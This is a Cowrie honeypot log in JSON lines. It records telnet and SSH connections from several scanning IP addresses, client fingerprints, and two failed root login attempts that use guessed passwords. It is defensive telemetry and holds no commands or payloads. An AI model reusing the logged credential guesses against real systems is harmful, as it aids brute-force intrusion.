{"eventid":"cowrie.session.closed","duration":36.60079598426819,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:54.874490Z","src_ip":"161.132.53.68","session":"4e087e49b147","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.551854848861694,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:55.503616Z","src_ip":"174.142.104.49","session":"600f8d3650e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.023963451385498,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:56.746883Z","src_ip":"174.142.104.49","session":"e00b261f4f44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":41324,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ec1dbecdb90","protocol":"telnet","message":"New connection: 174.142.104.49:41324 (159.203.135.109:23) [session: 4ec1dbecdb90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:58.003085Z"}
{"eventid":"cowrie.session.connect","src_ip":"220.119.37.141","src_port":49106,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf266d8f3159","protocol":"ssh","message":"New connection: 220.119.37.141:49106 (10.17.0.5:22) [session: cf266d8f3159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:59.004620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:59.010107Z","src_ip":"220.119.37.141","session":"cf266d8f3159","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:59.211708Z","src_ip":"220.119.37.141","session":"cf266d8f3159","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.31944251060486,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:59.347657Z","src_ip":"161.132.53.68","session":"43c4cfebe37b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.84907555580139,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:59.406010Z","src_ip":"161.132.53.68","session":"d8e01c726859","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":38326,"dst_ip":"159.203.135.109","dst_port":23,"session":"16267328fea7","protocol":"telnet","message":"New connection: 174.142.104.49:38326 (159.203.135.109:23) [session: 16267328fea7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:40:59.459119Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":41338,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c91dbe8ffed","protocol":"telnet","message":"New connection: 174.142.104.49:41338 (159.203.135.109:23) [session: 0c91dbe8ffed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:00.009884Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pa$$w0rd888","message":"login attempt [root/Pa$$w0rd888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:00.015788Z","src_ip":"220.119.37.141","session":"cf266d8f3159","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":44138,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d75692f3a25","protocol":"telnet","message":"New connection: 161.132.53.68:44138 (159.203.135.109:23) [session: 9d75692f3a25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:01.062638Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:01.212343Z","src_ip":"220.119.37.141","session":"cf266d8f3159","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":44144,"dst_ip":"159.203.135.109","dst_port":23,"session":"54e283cebea4","protocol":"telnet","message":"New connection: 161.132.53.68:44144 (159.203.135.109:23) [session: 54e283cebea4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:02.273020Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":49388,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdddefd59aab","protocol":"telnet","message":"New connection: 174.142.104.49:49388 (159.203.135.109:23) [session: fdddefd59aab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:02.472810Z"}
{"eventid":"cowrie.session.closed","duration":31.134512901306152,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:02.604676Z","src_ip":"174.142.104.49","session":"f68e80f2be07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":54300,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e077e572234","protocol":"telnet","message":"New connection: 104.245.105.2:54300 (10.17.0.5:23) [session: 5e077e572234]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:03.185291Z"}
{"eventid":"cowrie.session.closed","duration":45.31295299530029,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:04.797416Z","src_ip":"174.142.104.49","session":"905e4dccae4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":43254,"dst_ip":"159.203.135.109","dst_port":23,"session":"a67df3d4dd47","protocol":"telnet","message":"New connection: 174.142.104.49:43254 (159.203.135.109:23) [session: a67df3d4dd47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:05.065646Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":44158,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c0ae1eb0f99","protocol":"telnet","message":"New connection: 161.132.53.68:44158 (159.203.135.109:23) [session: 8c0ae1eb0f99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:05.141162Z"}
{"eventid":"cowrie.session.closed","duration":31.067336082458496,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:08.381162Z","src_ip":"174.142.104.49","session":"d77faead2265","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":59306,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e3efcd5ee53","protocol":"telnet","message":"New connection: 174.142.104.49:59306 (159.203.135.109:23) [session: 5e3efcd5ee53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:09.801666Z"}
{"eventid":"cowrie.session.closed","duration":39.6822452545166,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:10.180446Z","src_ip":"174.142.104.49","session":"e6fa67d6b72d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":37714,"dst_ip":"159.203.135.109","dst_port":23,"session":"c23fa6b5daba","protocol":"telnet","message":"New connection: 174.142.104.49:37714 (159.203.135.109:23) [session: c23fa6b5daba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:11.277475Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":60222,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac968a3f839b","protocol":"telnet","message":"New connection: 174.142.104.49:60222 (159.203.135.109:23) [session: ac968a3f839b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:11.337792Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":45736,"dst_ip":"159.203.135.109","dst_port":23,"session":"fefa60630303","protocol":"telnet","message":"New connection: 161.132.53.68:45736 (159.203.135.109:23) [session: fefa60630303]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:12.025401Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":45744,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a513a78b710","protocol":"telnet","message":"New connection: 161.132.53.68:45744 (159.203.135.109:23) [session: 5a513a78b710]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:12.065677Z"}
{"eventid":"cowrie.session.closed","duration":30.84967017173767,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:12.342078Z","src_ip":"174.142.104.49","session":"83e3cab9c72f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.21914744377136,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:13.285275Z","src_ip":"174.142.104.49","session":"ecd4bb9ffa27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":42884,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ec99cb8ef9a","protocol":"telnet","message":"New connection: 174.142.104.49:42884 (159.203.135.109:23) [session: 7ec99cb8ef9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:13.970081Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":44736,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d719d1d2192","protocol":"telnet","message":"New connection: 174.142.104.49:44736 (159.203.135.109:23) [session: 3d719d1d2192]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:14.995027Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":46744,"dst_ip":"159.203.135.109","dst_port":23,"session":"520b5b6eacd8","protocol":"telnet","message":"New connection: 174.142.104.49:46744 (159.203.135.109:23) [session: 520b5b6eacd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:16.077530Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":48352,"dst_ip":"159.203.135.109","dst_port":23,"session":"90cdcfda9cfe","protocol":"telnet","message":"New connection: 174.142.104.49:48352 (159.203.135.109:23) [session: 90cdcfda9cfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:16.945946Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":48454,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a91b79580d2","protocol":"telnet","message":"New connection: 174.142.104.49:48454 (159.203.135.109:23) [session: 2a91b79580d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:17.000676Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":50790,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab83c84a6e35","protocol":"telnet","message":"New connection: 174.142.104.49:50790 (159.203.135.109:23) [session: ab83c84a6e35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:18.318106Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":50994,"dst_ip":"159.203.135.109","dst_port":23,"session":"d23dfdd23e9c","protocol":"telnet","message":"New connection: 174.142.104.49:50994 (159.203.135.109:23) [session: d23dfdd23e9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:18.433924Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":56164,"dst_ip":"159.203.135.109","dst_port":23,"session":"00417a3c9591","protocol":"telnet","message":"New connection: 161.132.53.68:56164 (159.203.135.109:23) [session: 00417a3c9591]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:20.477213Z"}
{"eventid":"cowrie.session.closed","duration":31.0445556640625,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:20.902968Z","src_ip":"161.132.53.68","session":"001edc13c6c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.91260099411011,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:21.039521Z","src_ip":"161.132.53.68","session":"067a165d8cc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":56026,"dst_ip":"159.203.135.109","dst_port":23,"session":"81420013e4fb","protocol":"telnet","message":"New connection: 174.142.104.49:56026 (159.203.135.109:23) [session: 81420013e4fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:21.050634Z"}
{"eventid":"cowrie.session.closed","duration":31.058395624160767,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:21.543501Z","src_ip":"104.245.105.2","session":"83eacab0a5ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":57966,"dst_ip":"159.203.135.109","dst_port":23,"session":"97bc45168e14","protocol":"telnet","message":"New connection: 174.142.104.49:57966 (159.203.135.109:23) [session: 97bc45168e14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:22.004629Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.105.172.184","src_port":44808,"dst_ip":"159.203.135.109","dst_port":22,"session":"a78915c2e7b3","protocol":"ssh","message":"New connection: 200.105.172.184:44808 (159.203.135.109:22) [session: a78915c2e7b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:22.236182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:22.241020Z","src_ip":"200.105.172.184","session":"a78915c2e7b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:22.362715Z","src_ip":"200.105.172.184","session":"a78915c2e7b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":56174,"dst_ip":"159.203.135.109","dst_port":23,"session":"b51941b9821a","protocol":"telnet","message":"New connection: 161.132.53.68:56174 (159.203.135.109:23) [session: b51941b9821a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:22.457747Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":56190,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1ea7d9fb808","protocol":"telnet","message":"New connection: 161.132.53.68:56190 (159.203.135.109:23) [session: a1ea7d9fb808]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:22.538549Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server001","message":"login attempt [root/Server001] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:22.876787Z","src_ip":"200.105.172.184","session":"a78915c2e7b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":56200,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bf10b5d0291","protocol":"telnet","message":"New connection: 161.132.53.68:56200 (159.203.135.109:23) [session: 5bf10b5d0291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:23.025223Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:24.001483Z","src_ip":"200.105.172.184","session":"a78915c2e7b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":34088,"dst_ip":"159.203.135.109","dst_port":23,"session":"ceeecc3d6cef","protocol":"telnet","message":"New connection: 174.142.104.49:34088 (159.203.135.109:23) [session: ceeecc3d6cef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:24.453103Z"}
{"eventid":"cowrie.session.closed","duration":40.698004722595215,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:25.562408Z","src_ip":"174.142.104.49","session":"f5c36b6bbddc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":60712,"dst_ip":"10.17.0.5","dst_port":23,"session":"211963f6afd2","protocol":"telnet","message":"New connection: 104.245.105.2:60712 (10.17.0.5:23) [session: 211963f6afd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:25.569396Z"}
{"eventid":"cowrie.session.closed","duration":34.97595977783203,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:27.497352Z","src_ip":"174.142.104.49","session":"66f3017a21d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.09191703796387,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:27.772722Z","src_ip":"161.132.53.68","session":"dd2ac2762e26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":28.95902442932129,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:28.968775Z","src_ip":"174.142.104.49","session":"0c91dbe8ffed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":37700,"dst_ip":"159.203.135.109","dst_port":23,"session":"d54068793967","protocol":"telnet","message":"New connection: 174.142.104.49:37700 (159.203.135.109:23) [session: d54068793967]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:29.545443Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":36362,"dst_ip":"159.203.135.109","dst_port":23,"session":"92f711d599b5","protocol":"telnet","message":"New connection: 161.132.53.68:36362 (159.203.135.109:23) [session: 92f711d599b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:29.671119Z"}
{"eventid":"cowrie.session.closed","duration":31.797036170959473,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:29.799991Z","src_ip":"174.142.104.49","session":"4ec1dbecdb90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11904740333557,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:30.578052Z","src_ip":"174.142.104.49","session":"16267328fea7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":41896,"dst_ip":"159.203.135.109","dst_port":23,"session":"e61e9c0ed5de","protocol":"telnet","message":"New connection: 174.142.104.49:41896 (159.203.135.109:23) [session: e61e9c0ed5de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:31.490395Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":48320,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e172737f697","protocol":"telnet","message":"New connection: 174.142.104.49:48320 (159.203.135.109:23) [session: 2e172737f697]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:31.813784Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":47690,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fb2babe273b","protocol":"telnet","message":"New connection: 174.142.104.49:47690 (159.203.135.109:23) [session: 4fb2babe273b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:31.849504Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":47642,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb68a720f525","protocol":"telnet","message":"New connection: 174.142.104.49:47642 (159.203.135.109:23) [session: bb68a720f525]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:32.474466Z"}
{"eventid":"cowrie.session.closed","duration":40.095219373703,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:32.506359Z","src_ip":"174.142.104.49","session":"618912557cd0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":48434,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5180cd62039","protocol":"telnet","message":"New connection: 174.142.104.49:48434 (159.203.135.109:23) [session: b5180cd62039]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:32.873389Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":50824,"dst_ip":"159.203.135.109","dst_port":23,"session":"6172fd841c58","protocol":"telnet","message":"New connection: 174.142.104.49:50824 (159.203.135.109:23) [session: 6172fd841c58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:33.120782Z"}
{"eventid":"cowrie.session.closed","duration":32.19982194900513,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:33.262348Z","src_ip":"161.132.53.68","session":"9d75692f3a25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":49476,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8509501ace9","protocol":"telnet","message":"New connection: 174.142.104.49:49476 (159.203.135.109:23) [session: b8509501ace9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:33.377178Z"}
